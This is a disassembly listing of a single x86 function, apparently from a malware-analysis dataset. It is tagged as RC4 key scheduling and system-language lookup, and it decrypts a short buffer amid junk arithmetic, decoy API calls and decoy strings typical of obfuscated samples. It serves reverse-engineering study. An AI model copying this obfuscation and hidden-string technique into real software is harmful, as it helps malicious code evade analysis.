Function at 0x408ba0
Capabilities:
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 6
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x148]
mov esi, 0x42bf86
push ebx
xor ebx, ebx
sub esp, 0x16c
imul eax, dword [0x429458], 0x97682282
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x154]
mov esi, str.Objects__4u
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
mov dword [0x429458], eax
cmp byte [str.Win32AppCompat], 0
je 0x408bf4
or dword [0x429458], 0x2810a239
imul eax, dword [0x429458], 0xd628688b
and eax, 0x5da2dde5
mov dword [0x429458], eax
mov dword [esp], str.The_binding_does_not_contain_any_authentication_information.
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
push edx
lea eax, [eax - 0x739c78e9]
mov byte [ebp + ebx - 0x118], bl
inc ebx
mov dword [0x429458], eax
cmp ebx, 0x100
jne 0x408be1
xor esi, esi
xor ecx, ecx
mov al, byte [ebp + ecx - 0x118]
mov ebx, 0xb
xor edx, edx
mov byte [ebp - 0x159], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x154]
movzx edx, byte [ebp - 0x159]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
mov al, byte [ebp - 0x159]
inc ecx
mov byte [ebp + esi - 0x118], al
cmp ecx, 0x100
jne 0x408c37
sub edi, 0x1ae915d
xor esi, esi
xor ebx, ebx
mov dword [0x429458], edi
xor edi, edi
call fcn.0040ffd0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
inc ebx
imul eax, dword [0x429458], 0xc04782ed
movzx ebx, bl
mov cl, byte [ebp + ebx - 0x118]
xor eax, 0xc3a205f6
mov edx, ecx
mov dword [0x429458], eax
mov byte [ebp - 0x159], cl
add edx, esi
movzx esi, dl
xor edx, edx
cmp byte [edx + str.Unable_to_build_import_redirection_Table__Status__0x_x], 0
je 0x408cf0
inc edx
cmp edx, 0x208
jne 0x408cd4
or eax, 0xf49adaf3
mov dword [0x429458], eax
or dword [0x429458], 0xbfbfefeb
call fcn.0040ecec
call fcn.004125f4
mov eax, dword [0x429458]
mov dl, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x159]
sub eax, 0x5b4e76ea
mov byte [ebp + ebx - 0x118], dl
xor eax, 0xcd3be497
mov byte [ebp + esi - 0x118], cl
mov ecx, str.Win32AppCompat
mov dword [0x429458], eax
mov dl, byte [ecx]
test dl, dl
je 0x408d5b
sub edx, 0x30
cmp dl, 9
jbe 0x408d58
and eax, 0xaa797bff
mov dword [0x429458], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
jmp 0x408d5b
inc ecx
jmp 0x408d38
xor dword [0x429458], 0x34c1c579
call fcn.00414d98
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov al, byte [ebp - 0x159]
add al, byte [ebp + ebx - 0x118]
sub dword [0x429458], 0x4425c60d
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x148]
mov byte [ebp + edi - 0x130], al
inc edi
cmp edi, 0x18
jne 0x408ca0
cmp byte [str.Win32AppCompat], 0
mov byte [ebp - 0x118], 0
je 0x408dc8
call fcn.0040ecec
or dword [0x429458], 0x973ad8e
mov eax, dword [0x429458]
or eax, 0xbfd16a9e
add eax, 0x4b87ef95
mov dword [0x429458], eax
mov dword [esp], str.Win32AppCompat
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0040ffd0
lea eax, [ebp - 0x130]
or dword [0x429458], 0x82a4f30c
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], eax
mov dword [esp + 4], 0x11dc
mov dword [esp], str.QxjBoiM1WaKUzbwsbbpAQgt0FfDgEYPEH_p9LlULTJBbhRec6WmluFrBKGgAgr4e0W3oV1lTWKg3nsi1fekRof6oGHR_9dtGvVAL7ULob3IYP5aYbNg8KCfk7iG79u9hMNlCbdVMU1gWgdgFl23wLID2lF4Bn4eOvpj8HmFJzFHXJD1wyQFHYPMFf6jne0OS3FDAwilaseyuXi_7SDPGsm4n0Kp93JPASdLbRwbQ4iyQ2IX3cZYa3E92Fks_2rXi25ExoxaXaPiyTHmupKuxzvOEALlBvvQ4no0eLq3V8mtWdP4yELpvg1Phuk7aPE_zI3Mk4FnoV5aRzHf_3XvBA5VfB7oe8mxAO5TdO4vyw0hL1qkJvIDQ_9TVtNS8RCWQwaln1tXlQLLx3x_5TOGMMBKLwCNSQJcGCW3zf7qTKQH0CjCf3eHT5IhTx53eV21TtounWQSQ282p784wX_naJG4TfYJNOSDwhvBg0FXAKTOzBri_qFCgQsdOAHdWREfChkpl0OVqFd39posPfLM8MeVjkMqQjRtAFby3XWvYJVFSHhgZrSz7e8WV7iAq_B9Bv1OPQgIm7MghddV8UNAg3wpNLYmCaXfbvAc7ETMdpF8jYuGQbPScZ64Sc5rIBLS7i_bwmj4FtycCri_G7gLp79yutwaWyYRkfastTZuwfaHw8TPNIUXGXc64JgO3lmeatMMsPi2q786CGPpkQ8XYtJ_5NELIE2XdHqA5SGth9OW7sVI1_ofqTrUeJAFDo_4gddpgIVcOyRWWELj3ALKwHh3A6gjakJNAOPB06ffPfB07RRSmmTbcDSZHMksWko_KDts4eXPqgk4qOV33oErUqtOE5rDjmZAZFusiQq4lVFpXC7VWlabgH0qMZU5xoGCJIeUduogQX04Lb5kxo_jGYY4FsCHFc1WKKzeAqofQS2vzUcKFk9eFsgbAvW5hAopI25D5u9KDPjnLxUzxhwpssPuNHSiuAFkDds9ukYuIaavWATf102F_dGiLAxoPlL_OQ3Qe4FUVRHQlsxm1jFy76g9UNUHw7s2AsY8TpUO3VXd1n9fyIWqUSTIOdnbRC6nbaNVgSP8r3glt387YWGAzRv2TUGPmrvE8eaN4MV7qfF_lXdZbsIguCiv5WdXg7OTZbgT79LwKSUvVE1es46KoScgdBuYYxTCDdRHwicetLjvg_ipSOjAZv3S2IDbEHt10LRWLSfp3PJU4Q0CbbDBXo7575PBBsodRPmdTlyflSszpizvxFmDyc8GY1y2Xq7vMPjGHpzorMDi1SMImQQjkTcFYoG5t_qSa5CPftuJDjnfxKHo2DV2Ms9FSQ01qAHCJ7ls2tnfSmxEyCHLUmuS98t1vCOOrLMJliFLm6eiwcsDle0AuuE9rwfKR7yfgCt46lQbHpXhnj9SFp5uC2WzJKv77Vm5K6fAwwgB7x3doEPK6pENqni9SiqPI9JTH8PQUeapObu5_dr__Y12RaXOuvp11gdBtTKAerJbi4sfEpZqdZUOfAPmZIf2voDTK821izuhCZKyF79NgcESqBS9d7EdWtBkVt26s3uejchWTOucamvlpakSdkbVac8l_rf_5e29tl3FIqROKb0DMf3qLBDYTx650s6sxXyeNdcQ0G5clZosUkQRrtYsvXAoEWeQDNFohgv08UgzLFYrAWsOJI4_rZvHwkulZbYLVWf3qRNKU8rSfKyIK1GvsBIf6O0UkYBcdq_c1I9UqfTFux5EiWyJOJX4yBG2XW0s0SCNCCxlAym3CcQ61YFFXwIMvppyahvUfooGWndnboctQF3vmaR4lzw4StVkL1NBVQ89Jz9I2szimRTbU4gR5SALBrCWQOJMWqJevJmK6q9t2F5_YnRF1Ho2UD5q0kdxsdGGuGCU1xdWiBvvFH8u4Mf7u0HgowmQr5mhBR6YxdCKLv1LzKnR6Zc60VuS3qfzdzofpsofXQdx_kUp4CdBY5rCYXIMI46KhbWLrUjiiltT948RuF3npbHJEpKipWcommL96XKnOatyk9gMFmLinGczFXaKoCxM9B3BtngChFbXYvpmX6qrazwqmmrgmeNcCzGxLlJITfK5DXRLYgDd9svtgABjUqwUL46Hjt53E59zGpL17_Gzi9KjnCM2qI7lsoWZMusqchlYLpStXLroMvKCOBSIg6vvAPuG8iJwwBonwUO3D5IskNZvFudNhIOYGlgQWxslCT07GZUjxGjz5lkW9c52w_qsyyqdIAG6NuR1BjOTbLLm6Ly3GFrAX3W1hjUI_IxeEn40dla___TsVh1Xhkc8qkgOKgsQJHJjQ6HZSb9QPbuDaIl27K8iOm9NOWVTqdIQeXzmcaxJEj8t7pfitBfXcykiGrzb0rkKfMtauy2IWJHbxUBVBkX_ye7760TSDbFGoOTCGvFQMjnrApP0lke9MPw6W8HaVGUB6F74xr6SnQQ4lFpw4r9AFDKAFooPKgEoJqiOxGLHHZ1O_gUiICWUlQQ_dJSUUiwIkQm01kTG6xnW4mdEKZfXgiAQeg408xtG454NVFImznoFhery3DrYEUSCEDTRG1dzCNJcdX_leB7sSnOLTZ5GrCrs1PLPkQ4v5nUo3iuLY_euKWWrzWnvjCqzzHigRqn4JEtu9p5NanXSw3AwgdJ_r_l5tWCCfJ8PaJjzlbdmsialnLPIXv7X7L7xLoQ_lEmgRO928NcKJQRjWE0Qjh2FHEoUCtN1vl0rgTBFLD6RNBSBpmnHbc4RUuajKNu6mRt7RJ7pAt35rIWbQtFq_Er66cC04V7YEdj50dEThxB6V_S0j7p6uqrgbggHvRBiJKTbnRbEgEfA8cj63fzvFtuekOgnIb0qEN7rRNecaKR_jGg0rrNa5femRfWsshQnxbvFt8rewZm2LOjjCWnNMfbhPS2mBvBlkQ5JnG2OY4nPboRCqM8WS77pbj8T30OMWDYct5Stsus9cyM4gxjMV8gvQucQgjGKypEQDqA8Gmj91Mdk3GHXEVoxhi5UULGI9vljk1GIZa4wRF14XyqdwaBTbGQSzLVVPGork1nOGeWZXadXnXwDxDWl13RSeP7n9tjqAHCqHLW3huunbORix7Q3UEBqDeroc6yi7fUmXJEmnX4s8J9CNqIzvesBNjzQ4DDXQK0bci_57LcoZ4s4t6c7dZBjNGV5ysP7_o_tNWllQzikBit3sPSG1PYpnBbGXonX7Bu7cns02ULnZFxSipUvB1WMcTG_Jvlhq_7IcC1C00HZrWXBG1kDRrxYs2jM7cdBJQXZOUh2s2jmEE3xniQ0kn39E3cjvg5HqqlWHjmmTrWxGZBZSo1moQVhxuB_FMoXGPPekBtKlufh9PTmxxCmkmZSKE_zFI8gWKxao7rqw49VdE213iY1QcLmGVzljbdBdIj6xqPvJE0P7lGR8EhRRaVbH4sCtRsDTNrO4lxkTdPb0qbyMUe4cqnl5XFIcL5TG6cZBOgk3Bw0ATyXS_tEkh8xW5MuwYSigbCCnwOdTxjTTRWGcOqEYsE02ALsGgQ_q2CJ1Uy55JzbBw20ZpIfELdxx8ItZreR0cV_QmzkM3BBDXnF8N0Y90Duv_Bxx25wea0yQQWQ6U85eb9Z6AQrBQJaeDQRNAea9VOJASscn0OSjXzYeYG21pjQRjvidtyLxhFvzHB9es5XmZsHxfHLSieFWGKHnxmUidSGLnHznwuHyy0Zdr9D9YPRseZE1VF7eQEFFF1BiRzsVs0SDatBfvIJl40nVlqgYR_cVirfbg5n8nyVViHDQhGcnjZBu8zZ1hGUKOo1u4YcDIDKHkwPkYiZmG3U03jPaBJhr2k1JC75LlJUARxdKjGa4GeHjbsVn80EFBjNwPlZk_CPB1GKsN4z3EMU6BlhNueHcE4oCWz7eaU3GK4nQ0AS33sHmsuhQG4qNLdAXomoCBZBEOEJNMrpME3MxZEAtZWN0bBM02VpSn47ftakuMsBcrfOlMS1CIcg82nfghtDAkLF3dlKBIEnfazaaYnpUv0mbtvrxnOeDNg
call fcn.0040b3c4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret